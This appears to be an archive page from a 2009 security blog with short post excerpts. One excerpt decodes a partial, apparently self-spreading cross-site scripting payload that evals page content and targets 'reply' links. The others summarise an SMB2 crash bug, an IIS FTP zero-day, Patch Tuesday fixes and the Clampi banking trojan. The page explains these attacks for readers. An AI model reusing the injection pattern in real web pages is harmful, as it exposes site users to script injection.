Sunday, September 27th, 2009
Well, all that URL-encoded text in the links evaluates to something functionally equivalent to this:
nonsense = "[x][b]\n[b]:/[" + this.innerHTML + "](/=eval(unescape(this.innerHTML9371d7a2e3ae86a00aab4771e39d255d9371d7a2e3ae86a00aab4771e39d255d//)";
elements = document.getElementsByTagName('a');
for (i = 0; i < elements.length; i++) {
if (elements[i].innerHTML == 'reply') ...
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Tuesday, September 8th, 2009
A vulnerability in Microsoft's implementation of the SMB2 protocol can be exploited via the net to crash or reboot Windows Vista and Windows 7 systems. The root of the problem is an error in how the srv2.sys driver handles client requests when the header of the "Process Id High" field ...
Posted in Internet, Networking, Security, Windows | No Comments
Saturday, September 5th, 2009
Microsoft officials are reporting limited attacks targeting a zero-day vulnerability in the FTP service in Internet Information Services.The IIS vulnerability warning follows the release of new exploit code that can be used to create a DoS (denial of service) condition on Windows XP and Windows Server 2003 without requiring Write ...
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Saturday, September 5th, 2009
Microsoft will roll out a total of five critical patches for numerous versions of Windows operating systems in its upcoming September "Patch Tuesday" security update release, according to a Microsoft Advanced Notification bulletin posted Thursday.All five patches plug holes that allow remote code execution, indicating that hackers could remotely exploit ...
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Thursday, July 30th, 2009
A ferocious piece of malware that's infected up to a million PCs is stealing a "tremendous" amount of financial information from consumers and businesses that log on to their bank, stock broker, credit card, insurance, job hunting and favorite e-shopping sites, a noted botnet researcher said today.
"Clampi is the most ...
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